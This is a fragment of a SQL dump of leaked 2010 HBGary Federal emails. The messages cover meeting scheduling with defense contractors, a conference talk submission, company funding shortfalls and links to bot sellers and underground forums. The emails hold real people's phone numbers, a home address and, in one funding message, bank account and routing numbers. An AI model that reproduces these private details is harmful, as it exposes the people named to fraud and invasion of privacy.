(msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLikely\r\nexcuse. &nbsp;Bob how is next Friday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\na separate note Matt, can you hook me and Penny up with the Vint Cerf talk?\r\n\r\n\r\n\r\n\r\n\r\nThere\r\nis a personal connection between penny and Vint and if you can swing it penny\r\nis going to stick around to attend.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBtw\r\nI have been talking with a few OSD folks the last few days and a lot of\r\ninterest on the Palantir/HBGary connection.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 8, 2010, at 2:10 PM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUnfortunately\r\nI have to go to a client in NYC on Friday.&nbsp; Can we push this to next\r\nFriday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com |\r\n202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Wednesday, June 23, 2010 10:41 PM\r\nTo: Aaron Barr; bob@hbgary.com; Matthew\r\nSteckman; David Worn; Paul Hadjy; Tri Tang; Keyur Parikh\r\nSubject: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul\r\n10, 2010 12:30am (msteckman@palantirtech.com)\r\nWhen: Friday, July 09, 2010 11:30 AM-12:30 PM (GMT-05:00) Eastern Time\r\n(US &amp; Canada).\r\nWhere: Palantir Office, Tysons Corner, VA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  more details »\r\n  \r\n  Ping\r\n  Pong Challenge\r\n  \r\n  \r\n  Scheduled around lunch time so we can\r\n  take advantage of Palantirs catered lunch.\r\n  \r\n  \r\n   \r\n    \r\n    When\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fri Jul 9 11:30pm –\r\n    Sat Jul 10, 2010 12:30am Eastern Time\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Where\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir Office,\r\n    Tysons Corner, VA (map)\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Calendar\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Who\r\n    \r\n    \r\n    \r\n     \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr - organizer\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n     \r\n      \r\n      •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bob@hbgary.com\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n     \r\n      \r\n      •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    \r\n   \r\n  \r\n  \r\n  Going?&nbsp;&nbsp; Yes - Maybe - No&nbsp;&nbsp;&nbsp; more options »\r\n  \r\n  \r\n \r\n \r\n  \r\n  Invitation\r\n  from Google Calendar \r\n  \r\n  You\r\n  are receiving this courtesy email at the account msteckman@palantirtech.com\r\n  because you are an attendee of this event.\r\n  \r\n  \r\n  To\r\n  stop receiving future notifications for this event, decline this event.\r\n  Alternatively you can sign up for a Google account at https://www.google.com/calendar/\r\n  and control your notification settings for your entire calendar.\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&lt;&lt; File:\r\ninvite.ics &gt;&gt; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6312,'aaron_hbgary_com/6312.html'),(8351,'2010-07-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006474.M883630P14101Q3206.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary Federal -- Social Engineering Training','Begin forwarded message:From: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: July 9, 2010 4:14:49 PM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Cc: bcoulson@digitalglobe.com\r\nSubject: HBGary Federal -- Social Engineering TrainingTed, meet Brian Coulson from DigitaGlobe!\r\n \r\nBrian is in Longmont, CO and interested in meeting with you about the Social Engineering training.  Can you reach out to Brian?\r\n \r\nBrian Coulson\r\nDigitalGlobe\r\n(303) 684-4912\r\nbcoulson@digitalglobe.com\r\n \r\nThank you,\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n\r\n\r\n',11216,'aaron_hbgary_com/11216.html'),(8352,'2010-07-10','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006475.M335515P14101Q3208.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Emailing: Call for Speakers Offline 2011 - Leveraging Social Media While Mitigating Risk','No problem - out for family dinner here\r\nDavid\r\n\r\n-- \r\nSent from my mobile phone. Please excuse any typos.\r\n\r\n\"Aaron Barr\"  wrote:\r\n\r\n>Sorry review in a few when kids are asleep.\r\n>\r\n>Sent from my iPhone\r\n>\r\n>On Jul 9, 2010, at 4:34 PM, David Etue  wrote:\r\n>\r\n>> Here is what I\'ve got so far in the offline application (word doc).  It has the same abstract I sent over in e-mail text.\r\n>> \r\n\r\n',7225,'aaron_hbgary_com/7225.html'),(8353,'2010-07-10','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','/aaron@hbgary.com/new/1297006475.M623141P14101Q3209.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Accepted: EXTERNAL:Invitation: Social Media Discussions @ Mon Jul 19 10am - 11am (rj.shows@ngc.com)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\ncan work Tue AM before lunch or PM after lunch. Wed is shot with a Mandatory\r\nmeeting with leadership.\r\n\r\nGib\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJB Godwin III\r\n\r\nNorthrop Grumman, Information Systems\r\n\r\nDefense Systems Division\r\n\r\nVice President, Cybersecurity and Systems Integration\r\n\r\n2340 Dulles Corner Blvd\r\n\r\nHerndon, VA 20171\r\n\r\n&nbsp;\r\n\r\n(o) 703.561.4610\r\n\r\n(m)703.201.2543\r\n\r\njames.godwin@ngc.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\nSent: Friday, July 09, 2010 11:51 AM\r\nTo: Aaron Barr\r\nCc: Godwin, Gib (IS)\r\nSubject: RE: Accepted: EXTERNAL:Invitation: Social Media Discussions @\r\nMon Jul 19 10am - 11am (rj.shows@ngc.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGib is out sailing\r\nthe high seas at the present&#8212;he&#8217;ll likely be back on net early next week.&nbsp;\r\nPls hold a slot on Tue &amp; Wed and we&#8217;ll lock it in once he&#8217;s had a chance to\r\nweigh-in.&nbsp; \r\n\r\n&nbsp;\r\n\r\nCheers, \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\'\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 09, 2010 9:10 AM\r\nTo: Shows, Bob (IS)\r\nCc: Godwin, Gib (IS)\r\nSubject: Re: Accepted: EXTERNAL:Invitation: Social Media Discussions @\r\nMon Jul 19 10am - 11am (rj.shows@ngc.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI can do either right now.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 6, 2010, at 8:52 AM, Shows, Bob (IS) wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf we slipped this meeting to Tues or Wed of that\r\nweek, that would allow a face-to-face where we might accomplish this &amp; more.&nbsp; We could meet in Herndon&#8212;or someplace\r\nmutually convenient if Herndon is out of the way. \r\n\r\nBest always, \r\n\r\nBob\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9987,'aaron_hbgary_com/9987.html'),(8354,'2010-07-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006475.M86316P14101Q3207.eml','\"David Etue\" <david@etue.net>','Re: Emailing: Call for Speakers Offline 2011 - Leveraging Social Media While Mitigating Risk','Sorry review in a few when kids are asleep.\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 9, 2010, at 4:34 PM, David Etue  wrote:\r\n\r\n> Here is what I\'ve got so far in the offline application (word doc).  It has the same abstract I sent over in e-mail text.\r\n> \r\n',12206,'aaron_hbgary_com/12206.html'),(8355,'2010-07-10','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006477.M500233P14101Q3210.eml','\"Aaron Barr\" <aaron@hbgary.com>','can\'t submit?!!?!?','I\'ve been trying to submit the abstract, and every time I get an error \r\nfrom the website saying \"There was an error with your request.\"\r\n\r\nAny luck or feedback there?  The attached has my current drafts and my \r\nbio in case you are trying to submit.\r\n\r\nDavid\r\n',282,'aaron_hbgary_com/282.html'),(8356,'2010-07-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006477.M766534P14101Q3211.eml','\"Penny Leavy\" <penny@hbgary.com>','Meet','Hey penny,\r\n\r\nCan\'t sleep.  So a few things. Don\'t know what your plans are this\r\nweekend but thought you could meet Sandy and my kids, lunch or\r\nsomething.\r\n\r\nSecond I would like to sit down with you Monday or Tuesday and talk\r\nabout pipeline and funds.  We are out of funds and haven\'t received\r\nanyones July payments yet.  Ted and I were really hoping the Ray Owen\r\nwork was going to carry us for a few months until some of our other\r\nwork comes through... Now not the case.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',9537,'aaron_hbgary_com/9537.html'),(8357,'2010-07-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006478.M131081P14101Q3212.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary Discussions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n10 works\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 09, 2010 2:38 PM\r\nTo: Penny Leavy\r\nSubject: Fwd: HBGary Discussions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTuesday 10 or 11am work?\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Varner,\r\nBill&quot; &lt;Bill.Varner@ManTech.com&gt;\r\nDate: July 9, 2010 2:12:28 PM EDT\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nCc: &quot;Briggs, Dana M&quot; &lt;Dana.Briggs@ManTech.com&gt;\r\nSubject: RE: HBGary Discussions\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nAaron, I think that would be a great idea. I will ask Tiffanny to join\r\nus. Larry is out next week, but we could arrange a follow-up meeting\r\nlater on also.\r\n\r\nTuesday would be better for me if that would work for you and Penny.\r\n\r\nI am in a killer meeting all day long but would jump at the opportunity\r\nfor a break. Is there a good time for you?\r\n\r\nThanks, &nbsp;Bill\r\n\r\nBill Varner\r\nPresident\r\nMission, Cyber &amp; Technology Solutions Group\r\nManTech International Corporation\r\nOffice: (703) 674-2778 l Mobile: (703) 475-7909\r\nEmail: Bill.Varner@Mantech.com \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 09, 2010 12:13 PM\r\nTo: Varner, Bill\r\nSubject: HBGary Discussions\r\n\r\nBill,\r\n\r\nVery quick but a target of opportunity. &nbsp;Penny Hoglund, the President\r\nand primary owner of HBGary, Inc. will be out this way Monday and\r\nTuesday of next week if you have an opportunity to get together briefly\r\nto discuss the company and the possibilities related to investment.\r\n\r\nHave a great weekend.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14109,'aaron_hbgary_com/14109.html'),(8358,'2010-07-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006478.M357958P14101Q3213.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>','Re: HBGary Discussions','Great.  Would 10am work?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 9, 2010, at 2:12 PM, \"Varner, Bill\"  wrote:\r\n\r\n> Aaron,\r\n> \r\n> Aaron, I think that would be a great idea. I will ask Tiffanny to join\r\n> us. Larry is out next week, but we could arrange a follow-up meeting\r\n> later on also.\r\n> \r\n> Tuesday would be better for me if that would work for you and Penny.\r\n> \r\n> I am in a killer meeting all day long but would jump at the opportunity\r\n> for a break. Is there a good time for you?\r\n> \r\n> Thanks,  Bill\r\n> \r\n> Bill Varner\r\n> President\r\n> Mission, Cyber & Technology Solutions Group\r\n> ManTech International Corporation\r\n> Office: (703) 674-2778 l Mobile: (703) 475-7909\r\n> Email: Bill.Varner@Mantech.com \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 09, 2010 12:13 PM\r\n> To: Varner, Bill\r\n> Subject: HBGary Discussions\r\n> \r\n> Bill,\r\n> \r\n> Very quick but a target of opportunity.  Penny Hoglund, the President\r\n> and primary owner of HBGary, Inc. will be out this way Monday and\r\n> Tuesday of next week if you have an opportunity to get together briefly\r\n> to discuss the company and the possibilities related to investment.\r\n> \r\n> Have a great weekend.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',7926,'aaron_hbgary_com/7926.html'),(8359,'2010-07-10','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297006478.M769969P14101Q3214.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary Discussions','Yes, 1000 sounds fine? \r\nMy place ok?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, July 10, 2010 7:42 AM\r\nTo: Varner, Bill\r\nCc: Briggs, Dana M\r\nSubject: Re: HBGary Discussions\r\n\r\nGreat.  Would 10am work?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 9, 2010, at 2:12 PM, \"Varner, Bill\" \r\nwrote:\r\n\r\n> Aaron,\r\n> \r\n> Aaron, I think that would be a great idea. I will ask Tiffanny to join\r\n> us. Larry is out next week, but we could arrange a follow-up meeting\r\n> later on also.\r\n> \r\n> Tuesday would be better for me if that would work for you and Penny.\r\n> \r\n> I am in a killer meeting all day long but would jump at the\r\nopportunity\r\n> for a break. Is there a good time for you?\r\n> \r\n> Thanks,  Bill\r\n> \r\n> Bill Varner\r\n> President\r\n> Mission, Cyber & Technology Solutions Group\r\n> ManTech International Corporation\r\n> Office: (703) 674-2778 l Mobile: (703) 475-7909\r\n> Email: Bill.Varner@Mantech.com \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 09, 2010 12:13 PM\r\n> To: Varner, Bill\r\n> Subject: HBGary Discussions\r\n> \r\n> Bill,\r\n> \r\n> Very quick but a target of opportunity.  Penny Hoglund, the President\r\n> and primary owner of HBGary, Inc. will be out this way Monday and\r\n> Tuesday of next week if you have an opportunity to get together\r\nbriefly\r\n> to discuss the company and the possibilities related to investment.\r\n> \r\n> Have a great weekend.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',867,'aaron_hbgary_com/867.html'),(8360,'2010-07-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006479.M277880P14101Q3216.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meet','Hey Aaron,\r\n\r\nI\'m not in DC I\'m in New Hampshire.  And won\'t be back down until Monday.\r\nWe can meet then if you would like.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, July 10, 2010 2:17 AM\r\nTo: Penny Leavy\r\nSubject: Meet\r\n\r\nHey penny,\r\n\r\nCan\'t sleep.  So a few things. Don\'t know what your plans are this\r\nweekend but thought you could meet Sandy and my kids, lunch or\r\nsomething.\r\n\r\nSecond I would like to sit down with you Monday or Tuesday and talk\r\nabout pipeline and funds.  We are out of funds and haven\'t received\r\nanyones July payments yet.  Ted and I were really hoping the Ray Owen\r\nwork was going to carry us for a few months until some of our other\r\nwork comes through... Now not the case.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n',4909,'aaron_hbgary_com/4909.html'),(8361,'2010-07-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006479.M492825P14101Q3217.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Out of Office Re: What time is Vint Cerf talk?','It will be Greg, Mike Spohn, Rich and me.  Not sure if Maria is going but we\r\nneed Mike and Greg there for sure\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 09, 2010 9:23 AM\r\nTo: Penny Leavy\r\nSubject: Re: Out of Office Re: What time is Vint Cerf talk?\r\n\r\nWho\'s going\r\nTo blackhat?\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 9, 2010, at 9:21 AM, \"Penny Leavy\"  wrote:\r\n\r\n> I am currently out of the office until Monday July 12.\r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\n',9626,'aaron_hbgary_com/9626.html'),(8362,'2010-07-10','\"John Smith via LinkedIn\" <member@linkedin.com>','/aaron@hbgary.com/new/1297006479.M696639P14101Q3218.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            John Smith has indicated you are a Colleague at ManTech Mission, Cyber &amp; Technology Solutions:\r\n\r\n  \r\n    Aaron,\r\n\r\nMissed catching up with you at INSA dinner ... didn\'t want to interrupt Bill when talking with you.  Hope all\'s well.  I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- John Smith\r\n  \r\n  &nbsp;\r\n\r\n    \r\n      \r\n          \r\n            Accept\r\n          \r\n           \r\n                View invitation from John Smith\r\n          \r\n      \r\n    \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW your LinkedIn profile helps you control your public image when people search for you? Setting your profile as public means your LinkedIn profile will come up when people enter your name in leading search engines. Take control of your image! \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',14881,'aaron_hbgary_com/14881.html'),(8363,'2010-07-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006479.M75830P14101Q3215.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>','Re: HBGary Discussions','Sure we will see you there.\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 10, 2010, at 8:10 AM, \"Varner, Bill\"  wrote:\r\n\r\n> Yes, 1000 sounds fine? \r\n> My place ok?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Saturday, July 10, 2010 7:42 AM\r\n> To: Varner, Bill\r\n> Cc: Briggs, Dana M\r\n> Subject: Re: HBGary Discussions\r\n> \r\n> Great.  Would 10am work?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 9, 2010, at 2:12 PM, \"Varner, Bill\" \r\n> wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> Aaron, I think that would be a great idea. I will ask Tiffanny to join\r\n>> us. Larry is out next week, but we could arrange a follow-up meeting\r\n>> later on also.\r\n>> \r\n>> Tuesday would be better for me if that would work for you and Penny.\r\n>> \r\n>> I am in a killer meeting all day long but would jump at the\r\n> opportunity\r\n>> for a break. Is there a good time for you?\r\n>> \r\n>> Thanks,  Bill\r\n>> \r\n>> Bill Varner\r\n>> President\r\n>> Mission, Cyber & Technology Solutions Group\r\n>> ManTech International Corporation\r\n>> Office: (703) 674-2778 l Mobile: (703) 475-7909\r\n>> Email: Bill.Varner@Mantech.com \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Friday, July 09, 2010 12:13 PM\r\n>> To: Varner, Bill\r\n>> Subject: HBGary Discussions\r\n>> \r\n>> Bill,\r\n>> \r\n>> Very quick but a target of opportunity.  Penny Hoglund, the President\r\n>> and primary owner of HBGary, Inc. will be out this way Monday and\r\n>> Tuesday of next week if you have an opportunity to get together\r\n> briefly\r\n>> to discuss the company and the possibilities related to investment.\r\n>> \r\n>> Have a great weekend.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n',2786,'aaron_hbgary_com/2786.html'),(8364,'2010-07-10','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006479.M919460P14101Q3219.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: can\'t submit?!!?!?','\r\n\r\n\r\n  \r\n  \r\n\r\n\r\nGuess I wasn\'t alone in this problem.&nbsp; We have a few days...&nbsp; Let me\r\nknow what you think!\r\n\r\nThe RSA Conference 2011 Call for Speakers deadline has been extended\r\nuntil Thursday, July 15 at midnight Eastern time. There will be no\r\nextensions beyond that date and time. If you are experiencing any\r\ndifficulties with the website please email speakers@rsaconference.com.\r\n\r\n\r\n\r\nOn 7/9/2010 11:56 PM, David Etue wrote:\r\nI\'ve been\r\ntrying to submit the abstract, and every time I get an error from the\r\nwebsite saying \"There was an error with your request.\"\r\n  \r\n  \r\nAny luck or feedback there?&nbsp; The attached has my current drafts and my\r\nbio in case you are trying to submit.\r\n  \r\n  \r\nDavid\r\n\r\n\r\n\r\n',8797,'aaron_hbgary_com/8797.html'),(8365,'2010-07-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006480.M113668P14101Q3220.eml','\"David Etue\" <david@etue.net>','Re: can\'t submit?!!?!?','Sweet I&#39;ll take a look this weekend.  I fell asleep with kids last night.AaronSent from my iPadOn Jul 10, 2010, at 11:39 AM, David Etue &lt;david@etue.net&gt; wrote:\r\n\r\n\r\nGuess I wasn&#39;t alone in this problem.  We have a few days...  Let me\r\nknow what you think!\r\n\r\nThe RSA Conference 2011 Call for Speakers deadline has been extended\r\nuntil Thursday, July 15 at midnight Eastern time. There will be no\r\nextensions beyond that date and time. If you are experiencing any\r\ndifficulties with the website please email speakers@rsaconference.com.\r\n\r\n\r\n\r\nOn 7/9/2010 11:56 PM, David Etue wrote:\r\nI&#39;ve been\r\ntrying to submit the abstract, and every time I get an error from the\r\nwebsite saying &quot;There was an error with your request.&quot;\r\n  \r\n  \r\nAny luck or feedback there?  The attached has my current drafts and my\r\nbio in case you are trying to submit.\r\n  \r\n  \r\nDavid\r\n\r\n\r\n\r\n\r\n',6482,'aaron_hbgary_com/6482.html'),(8366,'2010-07-10','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006480.M352358P14101Q3221.eml','\"Aaron Barr\" <aaron@hbgary.com>','bots for sale',' \r\nAaron,\r\nYou might find this interesting\r\n \r\nhttp://webcache.googleusercontent.com/search?q=cache:I5p4-k3V9bEJ:allbots.info/+Un-Follower+%22Classmates+Grabber%22&amp;cd=1&amp;hl=en&amp;ct=clnk&amp;gl=us\r\n\r\n \r\nbots for sale that automate various social-networking tasks.\r\n \r\n-greg\r\n',16042,'aaron_hbgary_com/16042.html'),(8367,'2010-07-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006480.M649058P14101Q3222.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,','Re: HBGary Federal Funding','If you haven\'t already sent your payment please do so because our\r\nfunds are low.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Jun 28, 2010, at 9:46 AM, Ted Vera  wrote:\r\n\r\n> The second quarterly round of HBGary Federal funding is due on July\r\n> 1st, with amounts due as follows per the operating agreement\r\n> (Penny & HBGary may require adjustments based on previous contributions):\r\n>\r\n> Penny Leavy:  $39,013.33\r\n> HBGary Inc:  $12,191.67\r\n> Nina Slapnick:  $5,689.45\r\n> Rich Cummings:  $1,625.57\r\n>\r\n> Please send your check to:\r\n>\r\n> HBGary Federal\r\n> C/O Ted Vera\r\n> 874 Legend Oak Dr.\r\n> Fountain, CO 80817\r\n>\r\n> or transfer / wire:\r\n>\r\n> The acct # is 3803053804\r\n> The routing # is 121042882\r\n> The wire routing # is 121000248\r\n>\r\n> Please let me know if you have any questions.\r\n>\r\n> Ted\r\n',11263,'aaron_hbgary_com/11263.html'),(8368,'2010-07-10','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006480.M871812P14101Q3223.eml','\"Aaron Barr\" <aaron@hbgary.com>','Some identities to start link analysis',' \r\nAaron,\r\ncheck this out:\r\nhttp://pastebin.de/6648\r\n \r\nlook about half way down to find the emails/usernames of hundreds of criminal undergrounders.  This could be a great starter for link analysis.\r\n \r\n-Greg\r\n',5308,'aaron_hbgary_com/5308.html'),(8369,'2010-07-10','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297006481.M188234P14101Q3224.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Malcode Database','\r\n\r\n\r\n\r\n\r\nMalcode Database\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nTalking to Donald and wanted to tell him the size of the database HBGary has of malcode.&nbsp; Can you remind me.\r\n\r\nThanks\r\n\r\nSteve \r\n\r\n\r\n',6868,'aaron_hbgary_com/6868.html'),(8370,'2010-07-10','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006481.M399322P14101Q3225.eml','\"Aaron Barr\" <aaron@hbgary.com>','a twitter space for malware developers','http://twitter.com/DarkCoderSc\r\n \r\n-G\r\n',14953,'aaron_hbgary_com/14953.html'),(8371,'2010-07-10','\"Greg Hoglund\" 